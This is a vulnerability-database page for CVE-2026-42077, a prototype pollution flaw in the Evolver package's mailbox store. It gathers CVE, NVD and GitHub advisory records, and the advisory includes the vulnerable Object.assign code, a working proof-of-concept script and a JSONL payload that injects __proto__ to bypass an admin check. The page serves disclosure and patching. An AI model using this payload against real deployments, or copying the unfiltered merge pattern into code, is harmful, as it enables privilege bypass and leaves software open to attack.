Vulnerability-Lookup

CVE-2026-42077 (GCVE-0-2026-42077)

Vulnerability from cvelistv5 – Published: 2026-05-04 16:50 – Updated: 2026-05-06 13:40

Title

Evolver: Prototype Pollution via `Object.assign()` in mailbox store operations

Summary

Evolver is a GEP-powered self-evolving engine for AI agents. Prior to version 1.69.3, a prototype pollution vulnerability in the mailbox store module allows attackers to modify the behavior of all JavaScript objects by injecting malicious properties into Object.prototype. The vulnerability exists in the _applyUpdate() and _updateRecord() functions which use Object.assign() to merge user-controlled data without filtering dangerous keys like __proto__, constructor, or prototype. This issue has been patched in version 1.69.3.

Severity

5.2 (Medium)


                        
                          CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:L/A:H

SSVC

Exploitation: poc Automatable: no Technical Impact: partial

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-05-06 13:40 UTC

CWE

CWE-1321 - Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')

Assigner

GitHub_M CNA under the mitre root

CNA scorecard C 72/100 over 7820 records in the last 180 days details

References

2 references

URL	Tags
https://github.com/EvoMap/evolver/security/adviso…	x_refsource_CONFIRM
https://github.com/EvoMap/evolver/releases/tag/v1.69.3	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version	CPE status
EvoMap	evolver	Affected: < 1.69.3	guessed

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-42077",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-05-06T13:40:45.787015Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-06T13:40:54.808Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "references": [
          {
            "tags": [
              "exploit"
            ],
            "url": "https://github.com/EvoMap/evolver/security/advisories/GHSA-2cjr-5v3h-v2w4"
          }
        ],
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "evolver",
          "vendor": "EvoMap",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 1.69.3"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Evolver is a GEP-powered self-evolving engine for AI agents. Prior to version 1.69.3, a prototype pollution vulnerability in the mailbox store module allows attackers to modify the behavior of all JavaScript objects by injecting malicious properties into Object.prototype. The vulnerability exists in the _applyUpdate() and _updateRecord() functions which use Object.assign() to merge user-controlled data without filtering dangerous keys like __proto__, constructor, or prototype. This issue has been patched in version 1.69.3."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "HIGH",
            "attackVector": "LOCAL",
            "availabilityImpact": "HIGH",
            "baseScore": 5.2,
            "baseSeverity": "MEDIUM",
            "confidentialityImpact": "LOW",
            "integrityImpact": "LOW",
            "privilegesRequired": "HIGH",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:L/A:H",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-1321",
              "description": "CWE-1321: Improperly Controlled Modification of Object Prototype Attributes (\u0027Prototype Pollution\u0027)",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-04T16:50:15.167Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/EvoMap/evolver/security/advisories/GHSA-2cjr-5v3h-v2w4",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/EvoMap/evolver/security/advisories/GHSA-2cjr-5v3h-v2w4"
        },
        {
          "name": "https://github.com/EvoMap/evolver/releases/tag/v1.69.3",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/EvoMap/evolver/releases/tag/v1.69.3"
        }
      ],
      "source": {
        "advisory": "GHSA-2cjr-5v3h-v2w4",
        "discovery": "UNKNOWN"
      },
      "title": "Evolver: Prototype Pollution via `Object.assign()` in mailbox store operations"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-42077",
    "datePublished": "2026-05-04T16:50:15.167Z",
    "dateReserved": "2026-04-23T19:17:30.565Z",
    "dateUpdated": "2026-05-06T13:40:54.808Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2",
  "vulnerability-lookup:meta": {
    "epss": {
      "cve": "CVE-2026-42077",
      "date": "2026-11-12",
      "epss": "0.00157",
      "percentile": "0.04961"
    },
    "nvd": {
      "cve": {
        "affected": [
          {
            "affectedData": [
              {
                "product": "evolver",
                "vendor": "EvoMap",
                "versions": [
                  {
                    "status": "affected",
                    "version": "\u003c 1.69.3"
                  }
                ]
              }
            ],
            "source": "security-advisories@github.com"
          }
        ],
        "cveTags": [],
        "descriptions": [
          {
            "lang": "en",
            "value": "Evolver is a GEP-powered self-evolving engine for AI agents. Prior to version 1.69.3, a prototype pollution vulnerability in the mailbox store module allows attackers to modify the behavior of all JavaScript objects by injecting malicious properties into Object.prototype. The vulnerability exists in the _applyUpdate() and _updateRecord() functions which use Object.assign() to merge user-controlled data without filtering dangerous keys like __proto__, constructor, or prototype. This issue has been patched in version 1.69.3."
          },
          {
            "lang": "es",
            "value": "Evolver es un motor autoevolutivo impulsado por GEP para agentes de IA. Antes de la versi\u00f3n 1.69.3, una vulnerabilidad de contaminaci\u00f3n de prototipos en el m\u00f3dulo de almacenamiento de buzones permite a los atacantes modificar el comportamiento de todos los objetos JavaScript inyectando propiedades maliciosas en Object.prototype. La vulnerabilidad existe en las funciones _applyUpdate() y _updateRecord() que utilizan Object.assign() para fusionar datos controlados por el usuario sin filtrar claves peligrosas como __proto__, constructor o prototype. Este problema ha sido parcheado en la versi\u00f3n 1.69.3."
          }
        ],
        "id": "CVE-2026-42077",
        "lastModified": "2026-10-26T19:10:00.163",
        "metrics": {
          "cvssMetricV31": [
            {
              "cvssData": {
                "attackComplexity": "HIGH",
                "attackVector": "LOCAL",
                "availabilityImpact": "HIGH",
                "baseScore": 5.2,
                "baseSeverity": "MEDIUM",
                "confidentialityImpact": "LOW",
                "integrityImpact": "LOW",
                "privilegesRequired": "HIGH",
                "scope": "UNCHANGED",
                "userInteraction": "NONE",
                "vectorString": "CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:L/A:H",
                "version": "3.1"
              },
              "exploitabilityScore": 0.5,
              "impactScore": 4.7,
              "source": "security-advisories@github.com",
              "type": "Secondary"
            }
          ],
          "ssvcV203": [
            {
              "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
              "ssvcData": {
                "id": "CVE-2026-42077",
                "options": [
                  {
                    "exploitation": "poc"
                  },
                  {
                    "automatable": "no"
                  },
                  {
                    "technicalImpact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-05-06T13:40:45.787015Z",
                "version": "2.0.3"
              }
            }
          ]
        },
        "published": "2026-05-04T17:16:24.587",
        "references": [
          {
            "source": "security-advisories@github.com",
            "url": "https://github.com/EvoMap/evolver/releases/tag/v1.69.3"
          },
          {
            "source": "security-advisories@github.com",
            "url": "https://github.com/EvoMap/evolver/security/advisories/GHSA-2cjr-5v3h-v2w4"
          },
          {
            "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
            "url": "https://github.com/EvoMap/evolver/security/advisories/GHSA-2cjr-5v3h-v2w4"
          }
        ],
        "sourceIdentifier": "security-advisories@github.com",
        "vulnStatus": "Deferred",
        "weaknesses": [
          {
            "description": [
              {
                "lang": "en",
                "value": "CWE-1321"
              }
            ],
            "source": "security-advisories@github.com",
            "type": "Secondary"
          }
        ]
      }
    },
    "redhat_vex": {
      "current_release_date": "2026-05-06T20:21:54+00:00",
      "cve": "CVE-2026-42077",
      "id": "CVE-2026-42077",
      "initial_release_date": "2026-01-01T00:00:00+00:00",
      "product_status:known_not_affected": "1",
      "source": "Red Hat CSAF VEX",
      "status": "final",
      "title": "Evolver: Prototype Pollution via `Object.assign()` in mailbox store operations",
      "url": "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-42077.json",
      "version": "3"
    },
    "vulnrichment": {
      "containers": {
        "adp": [
          {
            "metrics": [
              {
                "other": {
                  "content": {
                    "id": "CVE-2026-42077",
                    "options": [
                      {
                        "Exploitation": "poc"
                      },
                      {
                        "Automatable": "no"
                      },
                      {
                        "Technical Impact": "partial"
                      }
                    ],
                    "role": "CISA Coordinator",
                    "timestamp": "2026-05-06T13:40:45.787015Z",
                    "version": "2.0.3"
                  },
                  "type": "ssvc"
                }
              }
            ],
            "providerMetadata": {
              "dateUpdated": "2026-05-06T13:38:42.448Z",
              "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
              "shortName": "CISA-ADP"
            },
            "references": [
              {
                "tags": [
                  "exploit"
                ],
                "url": "https://github.com/EvoMap/evolver/security/advisories/GHSA-2cjr-5v3h-v2w4"
              }
            ],
            "title": "CISA ADP Vulnrichment"
          }
        ],
        "cna": {
          "affected": [
            {
              "product": "evolver",
              "vendor": "EvoMap",
              "versions": [
                {
                  "status": "affected",
                  "version": "\u003c 1.69.3"
                }
              ]
            }
          ],
          "descriptions": [
            {
              "lang": "en",
              "value": "Evolver is a GEP-powered self-evolving engine for AI agents. Prior to version 1.69.3, a prototype pollution vulnerability in the mailbox store module allows attackers to modify the behavior of all JavaScript objects by injecting malicious properties into Object.prototype. The vulnerability exists in the _applyUpdate() and _updateRecord() functions which use Object.assign() to merge user-controlled data without filtering dangerous keys like __proto__, constructor, or prototype. This issue has been patched in version 1.69.3."
            }
          ],
          "metrics": [
            {
              "cvssV3_1": {
                "attackComplexity": "HIGH",
                "attackVector": "LOCAL",
                "availabilityImpact": "HIGH",
                "baseScore": 5.2,
                "baseSeverity": "MEDIUM",
                "confidentialityImpact": "LOW",
                "integrityImpact": "LOW",
                "privilegesRequired": "HIGH",
                "scope": "UNCHANGED",
                "userInteraction": "NONE",
                "vectorString": "CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:L/A:H",
                "version": "3.1"
              }
            }
          ],
          "problemTypes": [
            {
              "descriptions": [
                {
                  "cweId": "CWE-1321",
                  "description": "CWE-1321: Improperly Controlled Modification of Object Prototype Attributes (\u0027Prototype Pollution\u0027)",
                  "lang": "en",
                  "type": "CWE"
                }
              ]
            }
          ],
          "providerMetadata": {
            "dateUpdated": "2026-05-04T16:50:15.167Z",
            "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
            "shortName": "GitHub_M"
          },
          "references": [
            {
              "name": "https://github.com/EvoMap/evolver/security/advisories/GHSA-2cjr-5v3h-v2w4",
              "tags": [
                "x_refsource_CONFIRM"
              ],
              "url": "https://github.com/EvoMap/evolver/security/advisories/GHSA-2cjr-5v3h-v2w4"
            },
            {
              "name": "https://github.com/EvoMap/evolver/releases/tag/v1.69.3",
              "tags": [
                "x_refsource_MISC"
              ],
              "url": "https://github.com/EvoMap/evolver/releases/tag/v1.69.3"
            }
          ],
          "source": {
            "advisory": "GHSA-2cjr-5v3h-v2w4",
            "discovery": "UNKNOWN"
          },
          "title": "Evolver: Prototype Pollution via `Object.assign()` in mailbox store operations"
        }
      },
      "cveMetadata": {
        "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "assignerShortName": "GitHub_M",
        "cveId": "CVE-2026-42077",
        "datePublished": "2026-05-04T16:50:15.167Z",
        "dateReserved": "2026-04-23T19:17:30.565Z",
        "dateUpdated": "2026-05-06T13:40:54.808Z",
        "state": "PUBLISHED"
      },
      "dataType": "CVE_RECORD",
      "dataVersion": "5.2"
    }
  }
}

FKIE_CVE-2026-42077

Vulnerability from fkie_nvd - Published: 2026-05-04 17:16 - Updated: 2026-10-26 19:10

Severity

5.2 (Medium) - CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:L/A:H

Summary

References

	URL	Tags
	security-advisories@github.com	https://github.com/EvoMap/evolver/releases/tag/v1.69.3
	security-advisories@github.com	https://github.com/EvoMap/evolver/security/advisories/GHSA-2cjr-5v3h-v2w4
	134c704f-9b21-4f2e-91b3-4a467353bcc0	https://github.com/EvoMap/evolver/security/advisories/GHSA-2cjr-5v3h-v2w4

Impacted products

	Vendor	Product	Version

JSON

To clipboard

{
  "affected": [
    {
      "affectedData": [
        {
          "product": "evolver",
          "vendor": "EvoMap",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 1.69.3"
            }
          ]
        }
      ],
      "source": "security-advisories@github.com"
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "Evolver is a GEP-powered self-evolving engine for AI agents. Prior to version 1.69.3, a prototype pollution vulnerability in the mailbox store module allows attackers to modify the behavior of all JavaScript objects by injecting malicious properties into Object.prototype. The vulnerability exists in the _applyUpdate() and _updateRecord() functions which use Object.assign() to merge user-controlled data without filtering dangerous keys like __proto__, constructor, or prototype. This issue has been patched in version 1.69.3."
    },
    {
      "lang": "es",
      "value": "Evolver es un motor autoevolutivo impulsado por GEP para agentes de IA. Antes de la versi\u00f3n 1.69.3, una vulnerabilidad de contaminaci\u00f3n de prototipos en el m\u00f3dulo de almacenamiento de buzones permite a los atacantes modificar el comportamiento de todos los objetos JavaScript inyectando propiedades maliciosas en Object.prototype. La vulnerabilidad existe en las funciones _applyUpdate() y _updateRecord() que utilizan Object.assign() para fusionar datos controlados por el usuario sin filtrar claves peligrosas como __proto__, constructor o prototype. Este problema ha sido parcheado en la versi\u00f3n 1.69.3."
    }
  ],
  "id": "CVE-2026-42077",
  "lastModified": "2026-10-26T19:10:00.163",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "HIGH",
          "attackVector": "LOCAL",
          "availabilityImpact": "HIGH",
          "baseScore": 5.2,
          "baseSeverity": "MEDIUM",
          "confidentialityImpact": "LOW",
          "integrityImpact": "LOW",
          "privilegesRequired": "HIGH",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:L/A:H",
          "version": "3.1"
        },
        "exploitabilityScore": 0.5,
        "impactScore": 4.7,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ],
    "ssvcV203": [
      {
        "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
        "ssvcData": {
          "id": "CVE-2026-42077",
          "options": [
            {
              "exploitation": "poc"
            },
            {
              "automatable": "no"
            },
            {
              "technicalImpact": "partial"
            }
          ],
          "role": "CISA Coordinator",
          "timestamp": "2026-05-06T13:40:45.787015Z",
          "version": "2.0.3"
        }
      }
    ]
  },
  "published": "2026-05-04T17:16:24.587",
  "references": [
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/EvoMap/evolver/releases/tag/v1.69.3"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/EvoMap/evolver/security/advisories/GHSA-2cjr-5v3h-v2w4"
    },
    {
      "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
      "url": "https://github.com/EvoMap/evolver/security/advisories/GHSA-2cjr-5v3h-v2w4"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Deferred",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-1321"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Secondary"
    }
  ]
}

GHSA-2CJR-5V3H-V2W4

Vulnerability from github – Published: 2026-04-22 22:05 – Updated: 2026-05-04 19:54

Summary

Evolver has Prototype Pollution via `Object.assign()` in its mailbox store operations

Details

Summary

A prototype pollution vulnerability in the mailbox store module allows attackers to modify the behavior of all JavaScript objects by injecting malicious properties into Object.prototype. The vulnerability exists in the _applyUpdate() and _updateRecord() functions which use Object.assign() to merge user-controlled data without filtering dangerous keys like __proto__, constructor, or prototype.

Details

The vulnerability exists in src/proxy/mailbox/store.js at lines 123 and 145:

// src/proxy/mailbox/store.js:115-128
_applyUpdate(row) {
  if (row._op === 'update') {
    const existing = this._index[row.id];
    // VULNERABLE: Direct Object.assign without key filtering
    if (existing) Object.assign(existing, row.fields);
    else this._index[row.id] = row.fields;
  }
  // ...
}

// src/proxy/mailbox/store.js:138-150
_updateRecord(id, fields) {
  const existing = this._index[id];
  // VULNERABLE: Direct Object.assign without key filtering
  if (existing) Object.assign(existing, fields);
  // ...
}

The vulnerability can be triggered when an attacker has the ability to write to the messages.jsonl file (used for mailbox persistence). By crafting a malicious JSONL entry with __proto__ as a field key, the attacker can pollute the prototype of all objects.

The data flows from: 1. messages.jsonl file → 2. readLines() function (line 47) → 3. _rebuildIndex() (line 113) → _applyUpdate() (line 121) → 4. Object.assign() pollutes prototype

PoC

Prerequisites: - Node.js installed - Access to write to the mailbox messages file

Steps to reproduce:

Create a test file demonstrating the vulnerability:

// test-prototype-pollution.js
const fs = require('fs');
const path = require('path');

// Simulate the vulnerable Store class logic
class VulnerableStore {
  constructor(filePath) {
    this.filePath = filePath;
    this._index = {};
  }

  load() {
    if (!fs.existsSync(this.filePath)) return;
    const lines = fs.readFileSync(this.filePath, 'utf8').split('\n');
    for (const line of lines) {
      if (!line.trim()) continue;
      try {
        const row = JSON.parse(line);
        this._applyUpdate(row);
      } catch (e) {
        // Ignore parse errors
      }
    }
  }

  _applyUpdate(row) {
    if (row._op === 'update') {
      const existing = this._index[row.id];
      // VULNERABLE: No filtering of dangerous keys
      if (existing) Object.assign(existing, row.fields);
      else this._index[row.id] = row.fields;
    }
  }

  update(id, fields) {
    this._updateRecord(id, fields);
  }

  _updateRecord(id, fields) {
    const existing = this._index[id];
    // VULNERABLE: No filtering of dangerous keys
    if (existing) Object.assign(existing, fields);
    else this._index[id] = fields;
  }
}

// Test the vulnerability
console.log('=== Testing Prototype Pollution ===\n');

// Create a malicious messages.jsonl file
const maliciousContent = JSON.stringify({
  _op: 'update',
  id: 'msg-123',
  fields: {
    __proto__: {
      polluted: true,
      isAdmin: true
    },
    normalField: 'normalValue'
  }
}) + '\n';

const testDir = '/tmp/evolver-pollution-test';
if (!fs.existsSync(testDir)) fs.mkdirSync(testDir, { recursive: true });
const testFile = path.join(testDir, 'messages.jsonl');

fs.writeFileSync(testFile, maliciousContent);
console.log('Created malicious messages.jsonl');

// Load the store (this triggers the vulnerability)
const store = new VulnerableStore(testFile);
store.load();

// Check if prototype was polluted
console.log('\n=== Checking for prototype pollution ===');
const testObj = {};
console.log('testObj.polluted:', testObj.polluted);
console.log('testObj.isAdmin:', testObj.isAdmin);

if (testObj.polluted === true) {
  console.log('\n🔴 VULNERABILITY CONFIRMED: Object prototype was polluted!');
  console.log('All objects now have "polluted" and "isAdmin" properties.');
} else {
  console.log('\n🟡 Prototype pollution may require different payload structure');
}

// Demonstrate impact - bypassing authentication check
console.log('\n=== Impact Demonstration ===');
function checkAdmin(user) {
  // Typical pattern that would be vulnerable
  if (user.isAdmin) {
    return 'Access granted - Admin privileges';
  }
  return 'Access denied';
}

const regularUser = { name: 'normal_user' };
console.log('Regular user check:', checkAdmin(regularUser));

// Cleanup
fs.rmSync(testDir, { recursive: true });

Run the test:

node test-prototype-pollution.js

Expected output:

=== Checking for prototype pollution ===
testObj.polluted: true
testObj.isAdmin: true

🔴 VULNERABILITY CONFIRMED: Object prototype was polluted!
All objects now have "polluted" and "isAdmin" properties.

=== Impact Demonstration ===
Regular user check: Access granted - Admin privileges

Note: Modern Node.js versions have some prototype pollution protections. For a successful exploit, the attacker might need to use alternative property paths like constructor.prototype.isAdmin.

Attack scenario: If an attacker can write to the mailbox messages file (e.g., through file upload, path traversal, or compromised backup restore), they can:

{"_op":"update","id":"malicious","fields":{"__proto__":{"isAdmin":true,"canExecuteArbitraryCode":true}}}

Impact

This is a Prototype Pollution vulnerability that can lead to: - Property injection affecting all JavaScript objects - Authentication/authorization bypass - Application logic manipulation - Denial of service via prototype corruption - Potential remote code execution if polluted properties affect security-critical code paths

Attack requirements: The attacker needs write access to the messages.jsonl file. This could be achieved through: - File upload vulnerabilities - Path traversal (combined with the Arbitrary File Write vulnerability in the fetch command) - Compromised backup files - Shared hosting environments

Affected users: Anyone using the mailbox functionality in multi-user environments or with persistent message storage.

Severity

5.2 (Medium)


                  
                    CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:L/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "@evomap/evolver"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.69.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-42077"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1321"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-22T22:05:28Z",
    "nvd_published_at": "2026-05-04T17:16:24Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\nA prototype pollution vulnerability in the mailbox store module allows attackers to modify the behavior of all JavaScript objects by injecting malicious properties into `Object.prototype`. The vulnerability exists in the `_applyUpdate()` and `_updateRecord()` functions which use `Object.assign()` to merge user-controlled data without filtering dangerous keys like `__proto__`, `constructor`, or `prototype`.\n\n### Details\nThe vulnerability exists in `src/proxy/mailbox/store.js` at lines 123 and 145:\n\n```javascript\n// src/proxy/mailbox/store.js:115-128\n_applyUpdate(row) {\n  if (row._op === \u0027update\u0027) {\n    const existing = this._index[row.id];\n    // VULNERABLE: Direct Object.assign without key filtering\n    if (existing) Object.assign(existing, row.fields);\n    else this._index[row.id] = row.fields;\n  }\n  // ...\n}\n\n// src/proxy/mailbox/store.js:138-150\n_updateRecord(id, fields) {\n  const existing = this._index[id];\n  // VULNERABLE: Direct Object.assign without key filtering\n  if (existing) Object.assign(existing, fields);\n  // ...\n}\n```\n\nThe vulnerability can be triggered when an attacker has the ability to write to the `messages.jsonl` file (used for mailbox persistence). By crafting a malicious JSONL entry with `__proto__` as a field key, the attacker can pollute the prototype of all objects.\n\nThe data flows from:\n1. `messages.jsonl` file \u2192 \n2. `readLines()` function (line 47) \u2192 \n3. `_rebuildIndex()` (line 113) \u2192 `_applyUpdate()` (line 121) \u2192 \n4. `Object.assign()` pollutes prototype\n\n### PoC\n\n**Prerequisites:**\n- Node.js installed\n- Access to write to the mailbox messages file\n\n**Steps to reproduce:**\n\n1. Create a test file demonstrating the vulnerability:\n\n```javascript\n// test-prototype-pollution.js\nconst fs = require(\u0027fs\u0027);\nconst path = require(\u0027path\u0027);\n\n// Simulate the vulnerable Store class logic\nclass VulnerableStore {\n  constructor(filePath) {\n    this.filePath = filePath;\n    this._index = {};\n  }\n\n  load() {\n    if (!fs.existsSync(this.filePath)) return;\n    const lines = fs.readFileSync(this.filePath, \u0027utf8\u0027).split(\u0027\\n\u0027);\n    for (const line of lines) {\n      if (!line.trim()) continue;\n      try {\n        const row = JSON.parse(line);\n        this._applyUpdate(row);\n      } catch (e) {\n        // Ignore parse errors\n      }\n    }\n  }\n\n  _applyUpdate(row) {\n    if (row._op === \u0027update\u0027) {\n      const existing = this._index[row.id];\n      // VULNERABLE: No filtering of dangerous keys\n      if (existing) Object.assign(existing, row.fields);\n      else this._index[row.id] = row.fields;\n    }\n  }\n\n  update(id, fields) {\n    this._updateRecord(id, fields);\n  }\n\n  _updateRecord(id, fields) {\n    const existing = this._index[id];\n    // VULNERABLE: No filtering of dangerous keys\n    if (existing) Object.assign(existing, fields);\n    else this._index[id] = fields;\n  }\n}\n\n// Test the vulnerability\nconsole.log(\u0027=== Testing Prototype Pollution ===\\n\u0027);\n\n// Create a malicious messages.jsonl file\nconst maliciousContent = JSON.stringify({\n  _op: \u0027update\u0027,\n  id: \u0027msg-123\u0027,\n  fields: {\n    __proto__: {\n      polluted: true,\n      isAdmin: true\n    },\n    normalField: \u0027normalValue\u0027\n  }\n}) + \u0027\\n\u0027;\n\nconst testDir = \u0027/tmp/evolver-pollution-test\u0027;\nif (!fs.existsSync(testDir)) fs.mkdirSync(testDir, { recursive: true });\nconst testFile = path.join(testDir, \u0027messages.jsonl\u0027);\n\nfs.writeFileSync(testFile, maliciousContent);\nconsole.log(\u0027Created malicious messages.jsonl\u0027);\n\n// Load the store (this triggers the vulnerability)\nconst store = new VulnerableStore(testFile);\nstore.load();\n\n// Check if prototype was polluted\nconsole.log(\u0027\\n=== Checking for prototype pollution ===\u0027);\nconst testObj = {};\nconsole.log(\u0027testObj.polluted:\u0027, testObj.polluted);\nconsole.log(\u0027testObj.isAdmin:\u0027, testObj.isAdmin);\n\nif (testObj.polluted === true) {\n  console.log(\u0027\\n\ud83d\udd34 VULNERABILITY CONFIRMED: Object prototype was polluted!\u0027);\n  console.log(\u0027All objects now have \"polluted\" and \"isAdmin\" properties.\u0027);\n} else {\n  console.log(\u0027\\n\ud83d\udfe1 Prototype pollution may require different payload structure\u0027);\n}\n\n// Demonstrate impact - bypassing authentication check\nconsole.log(\u0027\\n=== Impact Demonstration ===\u0027);\nfunction checkAdmin(user) {\n  // Typical pattern that would be vulnerable\n  if (user.isAdmin) {\n    return \u0027Access granted - Admin privileges\u0027;\n  }\n  return \u0027Access denied\u0027;\n}\n\nconst regularUser = { name: \u0027normal_user\u0027 };\nconsole.log(\u0027Regular user check:\u0027, checkAdmin(regularUser));\n\n// Cleanup\nfs.rmSync(testDir, { recursive: true });\n```\n\n2. Run the test:\n```bash\nnode test-prototype-pollution.js\n```\n\n**Expected output:**\n```\n=== Checking for prototype pollution ===\ntestObj.polluted: true\ntestObj.isAdmin: true\n\n\ud83d\udd34 VULNERABILITY CONFIRMED: Object prototype was polluted!\nAll objects now have \"polluted\" and \"isAdmin\" properties.\n\n=== Impact Demonstration ===\nRegular user check: Access granted - Admin privileges\n```\n\n**Note:** Modern Node.js versions have some prototype pollution protections. For a successful exploit, the attacker might need to use alternative property paths like `constructor.prototype.isAdmin`.\n\n**Attack scenario:**\nIf an attacker can write to the mailbox messages file (e.g., through file upload, path traversal, or compromised backup restore), they can:\n```jsonl\n{\"_op\":\"update\",\"id\":\"malicious\",\"fields\":{\"__proto__\":{\"isAdmin\":true,\"canExecuteArbitraryCode\":true}}}\n```\n\n### Impact\nThis is a **Prototype Pollution** vulnerability that can lead to:\n- Property injection affecting all JavaScript objects\n- Authentication/authorization bypass\n- Application logic manipulation\n- Denial of service via prototype corruption\n- Potential remote code execution if polluted properties affect security-critical code paths\n\n**Attack requirements:** The attacker needs write access to the `messages.jsonl` file. This could be achieved through:\n- File upload vulnerabilities\n- Path traversal (combined with the Arbitrary File Write vulnerability in the fetch command)\n- Compromised backup files\n- Shared hosting environments\n\n**Affected users:** Anyone using the mailbox functionality in multi-user environments or with persistent message storage.",
  "id": "GHSA-2cjr-5v3h-v2w4",
  "modified": "2026-05-04T19:54:38Z",
  "published": "2026-04-22T22:05:28Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/EvoMap/evolver/security/advisories/GHSA-2cjr-5v3h-v2w4"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42077"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/EvoMap/evolver"
    },
    {
      "type": "WEB",
      "url": "https://github.com/EvoMap/evolver/releases/tag/v1.69.3"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:L/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Evolver has Prototype Pollution via `Object.assign()` in its mailbox store operations"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Vulnerability timeline

Sightings and recorded dates, grouped by day · UTC

Order JSON

How durations are calculated

Following the VTEM framework (Black Hat USA 2015), time to patch starts when the vendor or a coordinator was informed, total time to patch at discovery, and disclosure to patch at public disclosure; vendor response time runs from the report to its acknowledgement. Time to exploit and time unpatched start at the earliest discovery or report, falling back to public disclosure. Unpatched time ends at the first recorded patch, or the calculation time when no patch is recorded. Exploitation to patch shows the interval between those two events; a published proof of concept is a public exploit, not exploitation.

Each result shows its source dates. A negative interval means the end event came first; when date-only inputs leave the order open, the result says so. Date-only inputs are approximate. The earliest evidence wins: KEV report dates and sightings are labelled as such. Records describing another vulnerability are listed but never calculated from, and a PoC alone does not establish exploitation. Missing patch evidence does not prove that no patch exists. Filters below change the event list only.

Publication & reservation Sightings KEV catalogs Other timestamps

Loading timeline…

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
